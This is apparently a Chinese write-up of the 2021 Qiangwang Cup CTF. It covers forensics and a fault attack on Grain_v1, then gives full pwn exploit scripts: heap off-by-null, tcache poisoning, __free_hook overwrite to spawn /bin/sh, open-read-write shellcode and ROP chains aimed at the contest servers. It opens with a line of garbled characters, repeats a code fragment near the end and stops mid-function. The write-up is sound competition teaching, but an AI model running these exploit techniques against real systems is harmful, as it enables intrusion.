# !Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,CO@V.s-%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1
# FLAG{Dir3ct0ry_jYa_n41}

FLAG{Dir3ct0ry_jYa_n41}

或者

import re

import struct 



with open("iso1995", "rb") as f:

    data = f.read()


pos_val = {}

res = []

for i, x in enumerate(re.finditer(rb"f\x00l\x00a\x00g\x00_\x00", data)):

    index = x.start()-12

    index = struct.unpack(">H", data[index:index+2])[0]


    index_data = 0x26800 + (index * 0x800) 

    pos_val[index] = data[index_data:index_data+1].decode("utf-8")


for k, v in pos_val.items():

    res.append(v)

print("".join(res))

赛后发现这个又是原题。。

2020 BingoCTF – ISO Solution.md

6.EzTime

Forensic.Find a file that a time attribute has been modified by a program. (本题flag为非正式形式)

附件下载 提取码(GAME)备用下载

压缩包解压密码:fantasicqwb2021

解压得到 $LogFile、$MFT (Master File Table)

File – $LogFile (2)

NTFS Timestamp changes on Windows 10

Do you MFT? Here’s an MFT Overview.

https://github.com/dkovar/analyzeMFT

https://github.com/jschicht/LogFileParser

最后又找到了个 NTFS Log Tracker 工具

导入之后可以看到相关信息

第五届强网杯全国网络安全挑战赛writeup第69张

找了老半天时间参数被修改的文件,最后发现是这个(

第五届强网杯全国网络安全挑战赛writeup第70张

可以把时间导出来发现秒以下都是 000000…

或者

使用X-Ways-Forensics打开$MFT,专业工具->将镜像文件转为磁盘

第五届强网杯全国网络安全挑战赛writeup第71张

调整记录更新时间排序即可发现,最新的被修改过的文件

提交的 flag 就是

{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png

7.问卷题

第五届强网杯全国网络安全挑战赛writeup第72张


flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily}



CRYPTO

1.guess_game

题目用的是Grain_v1,根据题意,需要猜32次guess

32轮相互独立,每次key,iv不同且决定初始量,guess引入的是1-10bit的翻转,显然是一个DFA(DifferentialFault Attack)

这里从paper

Grain-v1 的多比特差分故障攻击【密码学报 ISSN 2095-7025CN 10-1195/TN】中找到灵感(另外这一片很像这篇paper:Differential Fault Attack against Grainfamily with very few faults and minimal assumptions()的翻译啊)

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

于是这里我首先将key和iv固定,随机选择guess,运行160轮,查看zi的differential,发现并没有固定项

随后我将guess固定,key和iv随机选择,运行160轮。查看zi的differential,发现存在固定项。

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

于是自0-160,遍历guess将所有可能的固定项确定下来。

1的固定项用2**16-1去与

0的固定相用0去或

然后组合,而不固定项记为2

得到一个集合table3.data

import random
import string
import hashlib
import sys
from collections import deque
#from secret import plist, banner
plist = [i for i in range(150)]
import sys
assert max(plist) < 160

class generator:
def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):
self.NFSR = deque()
self.LFSR = deque()

for i in range(80):
self.NFSR.append(key[i])

for i in range(64):
self.LFSR.append(iv[i])

for i in range(64, 80):
self.LFSR.append(1)

self.clock()

if hint:
s = self.NFSR + self.LFSR
for i in range(k, k + m):
s[i] ^= 1
self.NFSR = deque(list(s)[:80])
self.LFSR = deque(list(s)[80:])

def clock(self):
for i in range(160):
zi = self.PRGA()
self.NFSR[79] ^= zi
self.LFSR[79] ^= zi

def PRGA(self):
x0 = self.LFSR[3]
x1 = self.LFSR[25]
x2 = self.LFSR[46]
x3 = self.LFSR[64]
x4 = self.NFSR[63]

hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) ^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)

zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[56]) ^ hx

fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]

gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37]
^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0]
^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9])
^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21])
^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ (
self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33])
^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ (
self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37])
^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ (
self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])

self.LFSR.popleft()
self.LFSR.append(fx)
self.NFSR.popleft()
self.NFSR.append(gx)

return zi

def proof_of_work():
s = "".join(random.choices(string.ascii_letters + string.digits, k=20))
prefix = s[:4]
print(f"sha256(xxxx + {s[4:]}) == {hashlib.sha256(s.encode()).hexdigest()}")
print("give me xxxx:")
ans = input().strip()
if len(ans) == 4 and ans == prefix:
return True
else:
return False

#if not proof_of_work():
#sys.exit(0)

#with open("/root/task/flag.txt", "r")as f:
#flag = f.read()

#print(banner + "n")
print("Welcome to my number guessing game. If you win the game, I'll give you the flagn")

count = 0
glist = random.choices(plist, k=32)
table1 = set()
table2 = set()
table3 = {}
#glist[round]
for guess in range(160):
z1 = 2**160-1
z2 = 0
for round in range(160):
k = guess // 2
m = guess % 10
if m == 0:
m = 10
#print("k,m",k,m)
key = bin(random.getrandbits(80))[2:].zfill(80)
key = list(map(int, key))
iv = bin(random.getrandbits(64))[2:].zfill(64)
iv = list(map(int, iv))

a = generator(key, iv, False) #

k1 = []
for i in range(160):
k1.append(a.PRGA())
k1 = int("".join(list(map(str, k1))), 2)

b = generator(key, iv, True, k, m) #

k2 = []
for i in range(160):
k2.append(b.PRGA())
k2 = int("".join(list(map(str, k2))), 2)
#print(f"round {round+1}")
#print("Here are some tips might help your:")
#print(bin(k1)[2:].rjust(160,"0"))
#print(bin(k2)[2:].rjust(160,"0"))
#print(bin(k1^k2)[2:].rjust(160,"0"))
z1 &= k1^k2
z2 |= k1^k2
table1.add(str(z1))
table2.add(str(z2))
tmp1 = bin(z1)[2:].rjust(160,"0")
tmp2 = bin(z2)[2:].rjust(160,"0")
tmp3 =""
for i in range(len(tmp1)):
flag=0
if tmp1[i]=='1':
tmp3+='1'
flag=1
if tmp2[i]=='0':
tmp3+='0'
flag=1
if tmp1[i]=='1' and tmp2[i]=='0':
print("sth. strange")
if flag==0:
tmp3+='2'
table3[guess] = tmp3
print(tmp3)

import pickle
with open("table3.data","wb") as f:
pickle.dump(table3,f)

随后与远程交互得到一组z1和z2,查看其Differential,然后去table里一个一个查,表中数据里,‘2’可直接忽略,‘1’和‘0’需要匹配,以此为if条件做筛选,最后发现答案刚好唯一。

from pwn import *

import pickle



sh=remote("39.105.139.103","10002")

from pwnlib.util.iters import mbruteforce

from hashlib import sha256

context.log_level = 'debug'



def proof_of_work(sh):

sh.recvuntil("xxxx + ")

suffix = sh.recvuntil(')').decode("utf8")[:-1]

log.success(suffix)

sh.recvuntil("== ")

cipher = sh.recvline().strip().decode("utf8")

log.success(cipher)

proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')

log.success(proof)

sh.sendlineafter("give me xxxx:", proof)





with open("table3.data","rb") as f:

table = pickle.load(f)

#print(len(table))

proof_of_work(sh)

#sh.interactive()


def find(sig):

sig = (bin(sig)[2:].rjust(160,"0"))

for index,each in table.items():

#print(each)
#print(sig)
for i in range(len(each)):

if each[i] == '2':

continue


elif each[i] != sig[i]:

break

else:

sh.sendline(str(index))
break
else:
print("no")

for i in range(32):
sh.recvuntil("Here are some tips might help your:n")
z1 = int(sh.recvuntil("n")[:-1])
z2 = int(sh.recvuntil("n")[:-1])

sh.recvuntil(">")

#print



#print("z1,",z1)
#print("z2,",z2)
find(z1^z2)
sh.interactive()

最后

[*] Switching to interactivemode

[DEBUG] Received 0x37 bytes:

    b'you are smart!n'

    b'n'

    b'flag{48ef413f0073134548e81124bdafed72}n'

you are smart!

PWN

1.baby_diary

参考 https://bbs.pediy.com/thread-257901.htm 实现堆块复用,后面就是常规题目

保护

第五届强网杯全国网络安全挑战赛writeup第75张

熟悉得菜单

第五届强网杯全国网络安全挑战赛writeup第76张

write

第五届强网杯全国网络安全挑战赛writeup第77张
第五届强网杯全国网络安全挑战赛writeup第78张

这里有个稍稍复杂的机制。

在我们输入内容之后是一个’\x00’,紧接着后面会跟一个后面的数&0xf0再加后面函数的返回值。

后面函数是干嘛的。

第五届强网杯全国网络安全挑战赛writeup第79张

会控制后面哪一个字节。

具体来说是后面一个字节的高四位不变,第四位是所有字节加起来之后,将每个四位的数字加起来,如果大于0xf就再来一次,知道小于0xf。

所以我们就可以控制下一个chunk的size的低四位。但是我们不可能让它等于0.

read

第五届强网杯全国网络安全挑战赛writeup第80张

正常的输出

第五届强网杯全国网络安全挑战赛writeup第81张

输出有判定条件,要求我们多出来的那个数字必须是1才可以输出,因为你看函数返回值&1之后要么为0,要么为1.v2不可能是0,所以v2必须是1,这就要求我们show的这个chunk没有溢出,没有其它的情况。

delete

第五届强网杯全国网络安全挑战赛writeup第82张

看得到清理得还是很干净的。

我们的思路是这样的。

off by null 要么overlap,要么unlink。overlap的做法就是我们的house of einherjar

关于null我们可以两次释放申请一个fastbiin chunk,第一次修改最后一位为0,第二次再设置prev_size。

但是出问题了,报错。

第五届强网杯全国网络安全挑战赛writeup第83张

看了一下源码,

第五届强网杯全国网络安全挑战赛writeup第84张

2.29之后通过这个检查把这种house of ein就没了。

所以我们只能考虑unlink。

unlink需要泄露地址,泄露一个heap地址,或者程序基地址。

没想出来。

参考了NU1L的wp,大佬还是大佬。

问题出在show,show越界了。

它没有限制我们show的index为负数。我们可以尝试一下,当我们show一个负数的时候,可以泄露哪里的地址。

我们试图从address_array向上寻找。

便于我们查找的区间是有限的,因为序号负数的时候用的是chunk的address,我们可以控制的address_array是有限的,所以我们不能找太离谱的。

gdb调试往上调,我们发现了一个这样的地方。

第五届强网杯全国网络安全挑战赛writeup第85张

1008那里,它有bss上的一个地址,而且离下面的address_array距离并不远,show(-11)就可以做到。

我们想拿到这个地址,那么我们需要show(-11),并且绕过一系列的检查。

首先第一个问题就是,我们的size_array在-11的地方有没有一个合适的值。

我们发现

第五届强网杯全国网络安全挑战赛writeup第86张

size_array上面紧接着就是address_array,我们计算一下-11的size会在第23个chunk的高四个字节。

所以我们要首先申请够23个chunk。

申请chunk之后我们对应的show(-11)的size大小会在0x5555左右,我们就需要在那一块申请到地址,我们必须在那个地方留一个值,这样才能绕开show那里的检查,做到释放,所以申请的时候就申请大一点,然后里面的数据留‘\xff’或者其他的都可以。

剩下的爆破就行

到此呢我们做到了一个什么事情,我们可以得到程序的pie。

贴一下爆破的部分算了,剩下的就自己随便写了

from pwn import *

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")


def add(size, content):

        r.sendlineafter(">> ", "1")

        r.sendlineafter("size: ", str(size))

        r.sendafter("content: ", content)

        

def show(index):

        r.sendlineafter(">> ", "2")

        r.sendlineafter("index: ", str(index))

                             

def dele(index):

        r.sendlineafter(">> ", "3")

        r.sendlineafter("index: ", str(index))


while True:

        try:

                r = process('./baby_diary')

                for i in range(22):

                        add(0x1000,'\xff'*0x1000)

                add(0x7000000,'aaaa\n')

                show(-11)

                r.recvuntil('\x08')

                break

        except EOFError:

                r.close()

                continue

        

leak = u64(b'\x08' + r.recv(5) + b'\x00\x00') - 0x4008

gdb.attach(r)

input()

然后再去伪造chunk做一个unlink。但是别的师傅教会我另外一种方法。

它来自一篇博客。

2.29 off by null

它也是在伪造chunk,但是做法更复杂也更高级。

不需要泄露地址,伪造chunk的地址完全用large bin地址,用small bin地址,用了fastbin 地址。

我们这个题目根据题目特性,因为那个write函数的问题,做法跟他的有些出入。但是道理是一样的,大家可以去看看那个博客。

下面的图是我这里伪造好的chunk。

第五届强网杯全国网络安全挑战赛writeup第87张

伪造好也是随便利用了。

EXP

# encoding:utf-8
from pwn import *
libc=ELF('./libc-2.31.so')

def add(size,data='a'):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('ize: ')
p.sendline(str(size))
p.recvuntil('content: ')
p.sendline(str(data))
def show(id):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('dex: ')
p.sendline(str(id))
def delete(id):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('dex: ')
p.sendline(str(id))

while True:
try:
p=remote('8.140.114.72',1399)
# p=process('./pwn')

for i in range(8):
add(0x1f)
for i in range(7):
add(0x7f)
add(26639)
add(0x1f)
add(0x720-1)
add(0x70-1)
add(0x7f)
delete(17)
add(0x1010-1)
delete(20)
add(0x1f,('x01'*5).ljust(8,'x00')+p64(0x201))
for i in range(7):
delete(i)
for i in range(7):
add(0x20)
add(0x1f,'x60')
for i in range(7):
delete(i+8)
delete(19)
delete(21)
add(0x1018)
for i in range(7):
add(0x80)
add(0x80,p64(0)+'x60')
delete(22)
add(0x147,'x00'*0x140+p64(0))
delete(21)

add(0x146,'x00'*0x138+'x01x01'.ljust(8,'x00'))
delete(23)
add(0xa0-1)

show(21)
p.recvuntil("content: ")
leak_addr=u64(p.recv(6).ljust(8,'x00'))
libcbase=leak_addr-0x1ebbe0
system_addr=libcbase+libc.sym['system']
free_addr=libcbase+libc.sym['__free_hook']
delete(16)

add(0x1f,p64(0)+p64(0x31))
delete(22)
delete(16)
add(0x1f,'a'*0x10+p64(free_addr))
add(0x1f,'/bin/shx00')
add(0x1f,p64(system_addr))
delete(22)

p.interactive()
except Exception as e:
pass

或者

from pwn import*

context.log_level = "debug"

r = process("./baby_diary")

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")

def add(size, content):
        r.sendlineafter(">> ", "1")
        r.sendlineafter("size: ", str(size))
        r.sendlineafter("content: ", content)
        
def show(index):
        r.sendlineafter(">> ", "2")
        r.sendlineafter("index: ", str(index))
                             
def delete(index):
        r.sendlineafter(">> ", "3")
        r.sendlineafter("index: ", str(index))


for i in range(7):
    add(0x38-1,'aaaa')  # 0-6

add(0x98-1,"aaaa") #7   这里的大小的确立是想把fakechunk放在最后一个字节为0的地方。

add(0xb40, "largebin") #8
add(0x10, "aaaa") #9

delete(8)

add(0x1000, '')   #8   ;chunk8 to largebin 
add(0x38-1, '' ) # 10

# make fd->bk = fakechunk
# 切割largebin
add(0x38-1,'aaaa') #11
add(0x80,'aaaa') #12   能把chunk13放在最后一个字节\x00的地方
add(0x38-1, 'a') #13
add(0x38-1, 'b') #14
add(0x38-1, 'c') #15
add(0x38-1, 'd') #16


for i in range(7):
    delete(i)

delete(15)  #
delete(13)  #0x600

# clear tcache
for i in range(7): # 0-6
    add(0x38-1, '')


add(0x420,'aaaa') #13   fastbin to small bin
add(0x38-1,p64(0x50))  #15  0x600

# fakechunk size
delete(10)
add(0x38-1,'\x00'*7+'\x03'+p64(0x201)) #修改fake_chunk fd

# make bk->fd = fakechunk
# clear chunk from tcache
add(0x38-1, 'clear')  #17
 
for i in range(7):  #0-6
    delete(i)
 
# free to fastbin
delete(11) 
delete(10) #fake_chunk  0x4f0   

 
for i in range(7): #0 - 6
    add(0x38-1, '')

# change fake chunk's bk->fd
add(0x38-1, '')

# fake pre_inuse /  prev_size
delete(16)
add(0x38-1,'\x00'*0x37) #11
delete(11)
add(0x38-1,'\x00'*0x2f+'\x20')

gdb.attach(r)

delete(13)

add(0x30, '')
add(0x20, '')
add(0x30, '')

show(12)

malloc_hook = (u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print "libc_base = " + hex(libc_base)

delete(17)
delete(15)

add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))

# add(0x30,"cat flag\x00")
add(0x30,'/bin/sh\x00')  #17
add(0x30,p64(system_addr))  #19

delete(17)


r.interactive()
libc_base = " + hex(libc_base)

delete(17)
delete(15)
add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))
# add(0x30,"cat flag\x00")
add(0x30,'/bin/sh\x00')  #17
add(0x30,p64(system_addr))  #19
delete(17)

r.interactive()

2.[强网先锋]orw

附件:
https://pan.baidu.com/s/1qXjidBqXzcH_z_kjI-gSCQ  提取码:s97y
第五届强网杯全国网络安全挑战赛writeup第88张
RELRO没都开,能劫持got,NX也没开,总得写点shellcode。
第五届强网杯全国网络安全挑战赛writeup第89张
开了沙箱。
第五届强网杯全国网络安全挑战赛writeup第90张
是个堆
第五届强网杯全国网络安全挑战赛writeup第91张
只能申请两个chunk,但是好像有个序号可以越界。
show edit都丢了,只剩了一个free
第五届强网杯全国网络安全挑战赛writeup第92张

free还挺干净
那所以我们就直接堆shellcode算了,直接数组越界,chunk地址直接写到got表,然后在那个chunk里面布置shellcode,从而劫持got表,来orw。
但是问题来了,chunk的大小限制在了0-8,也就是不会整个chunk大小不会超过0x20.能够输入大小不超过8,这就不能写shellcode。
然后我们看这个输入,我们发现……当输入0的时候,这个输入限制就绕过了……然后应该就成了。
exp
from pwn import*
import pwn
content.log_level='debug'

def add(id,size,content):
p.recvuntil('choice >>n')
p.sendline('1')
p.recvuntil('ndex:n')
p.sendline(str(id))
p.recvuntil('size:n')
p.sendline(str(size))
p.recvuntil('content:n')
p.send(str(content))

def delete(id):
p.recvuntil('choice >>n')
p.sendline('4')
p.recvuntil('ndex:n')
p.sendline(str(id))

shellcode='''
mov r8, rdi
xor rsi,rsi
mov rdi ,r8
mov rax, 2
syscall
mov rdi, rax
mov rsi, r8
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rsi,r8
mov rdx, 0x30
mov rax, 1
syscall
'''
payload=pwn.asm(shellcode)
add(0,8,'./flagx00'+'n')
add(-25,'a',payload+'n')


delete(0)
p.interactive()

或者

from pwn import *
#p=process('./pwn')
p=remote("39.105.131.68","12354")
context(os='linux',arch='amd64')
shellcode='''
    xor rax,rax
    xor rdi,rdi
    xor rsi,rsi
    xor rdx,rdx
    mov rax,2     #open 调用号为2
    mov rdi,0x67676c662f2e     #为 galf/.  是./flag的相反
    push rdi
    mov rdi,rsp
    syscall
    
    mov rdx,0x100  #sys_read(3,file,0x100)
    mov rsi,rdi
    mov rdi,rax
    mov rax,0        #read 调用号0
    syscall
    
    mov rdi,1 #sys_write(1,file,0x30)
    mov rax,1 #write调用号是1
    syscall
'''
p.recv()
p.sendline('1')
p.recvuntil('index')
p.sendline('-0xd')
p.recvuntil('size:')
p.sendline('0')
p.recvuntil('content')
p.sendline(asm(shellcode))
#gdb.attach(p)
p.sendline('5')
p.interactive()

3.[强网先锋]no_output

漏洞

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


存在栈溢出:

思路

远程存在 real_flag.txt 读入后 unk_804C080 是 0x3

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

在 read(0, buf, 0x30u); 输入 x00 覆盖 unk_804C080 为 0x00 ,实现向 src 输入,输入对应内容进入 if 内

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up



输入对应值后进入 if 内,配置了一个浮点数错误的 signal :在发生致命的算术运算错误时发出,不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术的错误。由于 v1 固定是 1 ,所以这种制造错误的方法 pass 。不一定要是被 0 除以。2 的补码 INT_MIN/-1 除法陷阱也行:

-2147483648/-1

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

产生错误之后跳转运行栈溢出函数

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']


# p = process("./test")
p = remote("39.105.138.97",1234)
libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")
elf = ELF("./test")

# gdb.attach(p,"b *0x80494c0")
# gdb.attach(p,"b *0x080492E2")
# gdb.attach(p,"b *0x0804925B")
# raw_input()

p.send('x00'*2)
sleep(0.1)
p.send('./flag'.rjust(0x20,'a'))
sleep(0.2)
p.sendline("hello_boy")
sleep(0.2)
p.sendline("-2147483648")
sleep(0.2)
p.sendline("-1")

bss = 0x0804c07c-2

payload = 'a'*0x48+'b'*0x4
# payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(0x0804C060+0x100)+p32(0x100)
payload += p32(elf.plt['open'])+p32(0x08049582)+p32(bss)+p32(0)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(4)+p32(0x0804C060+0x200)+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(elf.got['read'])+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(1)+p32(0x0804C060+0x200)+p32(0x100)
# payload += p32(0x0804944B)
p.sendline(payload)

# gdb.attach(p,"b *0x080492E2")
# raw_input()
# p.send("./flagx00")
p.send('x30xfe')
sleep(0.2)
flag = p.recv(timeout=1)
print flag
# if '{' not in flag:
# p.close()
# return 0
p.interactive()

4.babypwn

offbynull 造成堆块重叠,然后攻击 stdout 泄露 libc ,有沙盒限制系统调用

第五届强网杯全国网络安全挑战赛writeup第97张

libc是2.27的

第五届强网杯全国网络安全挑战赛writeup第98张

保护全开。

第五届强网杯全国网络安全挑战赛writeup第99张

还开了沙箱。

你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。

第五届强网杯全国网络安全挑战赛writeup第100张

经典增删改查。

add

第五届强网杯全国网络安全挑战赛writeup第101张

最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。

delete

第五届强网杯全国网络安全挑战赛writeup第102张

清理的很干净

edit

第五届强网杯全国网络安全挑战赛writeup第103张

edit也看着没啥,里面有个函数,进去看看。

第五届强网杯全国网络安全挑战赛writeup第104张

会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。

show

第五届强网杯全国网络安全挑战赛writeup第105张

输出都点不大正常。首先发现它是前后四个字节分开的。

然后看一下那个输出函数。

第五届强网杯全国网络安全挑战赛writeup第106张

加密的,好家伙

先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。


最后发现有个工具,z3(https://cloud.tencent.com/developer/article/1423409)

这些chunk都是因为沙箱提前开的一些。

第五届强网杯全国网络安全挑战赛writeup第107张

总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。

off by null我们还是有两种思路,一种是unlink,一种是off by null。

unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。

都来写一下,首先时unlink。

先通过chunk的残留地址把libc,heap地址都泄露出来

我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。

这个是利用setcontext的对比图。

第五届强网杯全国网络安全挑战赛writeup第108张

从这个地方开始就开始利用堆上提前写好的内容。

第五届强网杯全国网络安全挑战赛writeup第109张

要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。

EXP

from pwn import*
# context.log_level='debbug'
elf=ELF('babypwn')
libc=ELF('./libc.so.6')
p=process('./babypwn',env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./babypwn')
def add(size):
p.recvuntil('>>> n')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))

def edit(id,content):
p.recvuntil('>>> n')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(id))
p.recvuntil('content:')
p.send(str(content))
def delete(id):
p.recvuntil('>>> n')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(id))
def show(id):
p.recvuntil('>>> n')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(id))

add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)

for i in range(9,3,-3):
delete(i)
for i in range(7):
delete(10+i)

delete(1)
delete(0)

add(0x108)
edit(2,'b'*0xf0+p64(0)+p64(0x21))
edit(3,(p64(0)+p64(0x21))*7)
edit(0,'b'*0x108)
edit(0,'b'*0x100+p64(0x220))

delete(3)
delete(2)

add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)

add(0x200)
add(0x100)
delete(6)
delete(5)
delete(3)
delete(0)

edit(8,'a'*0x108+p64(0x110)+'x18x80')
edit(9,p64(0)+'x60xe7')
add(0x100)
add(0x100)
add(0x100)
payload=p64(0xfbad1887)+p64(0)*3+'x00'
edit(5,payload)
p.recvuntil('x00'*8)
lead_addr=u64(p.recv(8))
libc_base=lead_addr-(0x7ffff7dcf8b0-0x00007ffff79e2000)
delete(4)
delete(1)
delete(0)

free_addr=libc_base+libc.sym['__free_hook']
edit(8,'a'*0x108+p64(0x110)+p64(free_addr))

add(0x100)
add(0x100)
add(0x100)

gadget=libc_base+0x520A5
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
poprdi=libc_base+0x000000000002155f
poprsi=libc_base+0x0000000000023e6a
poprdx=libc_base+0x0000000000001b96
flag=free_addr+0xb0
add=free_addr

payload=p64(gadget)+p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read_addr)
payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write_addr)


edit(1,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi)+'./flag')

# gdb.attach(p)
# raw_input()
delete(1)


p.interactive()

或者

import os
import sys
import subprocess
from pwn import *
 
context.arch = "amd64"
context.log_level = "debug"
 
elf_addr = "./babypwn"                                   
pro_libc = "./libc.so.6"     
 
# sh = remote("39.105.130.158",8888)
 
sh = process(elf_addr)
elf = ELF(elf_addr)
 
def add(size):
    sh.recvuntil(">> \n")
    sh.sendline("1")
    sh.recvuntil("size:\n")
    sh.sendline(str(size))
def show(idx):
    sh.sendlineafter(">> \n","4")
    sh.sendlineafter("index:\n",str(idx))
def edit(idx,content):
    sh.sendlineafter(">> \n","3")
    sh.sendlineafter("index:\n",str(idx))
    sh.sendlineafter("content:\n",content)
def free(idx):
    sh.sendlineafter(">> \n","2")
    sh.sendlineafter("index:\n",str(idx))
 
def encode(a1):
    d1 = (32*a1)&0xffffffff
    d2 = d1^a1
    d3 = d2>>17
    d4 = ((d2 ^ d3) << 13)&0xffffffff
    a1 ^= d1 ^ d3 ^ d4
 
    d1 = (32*a1)&0xffffffff
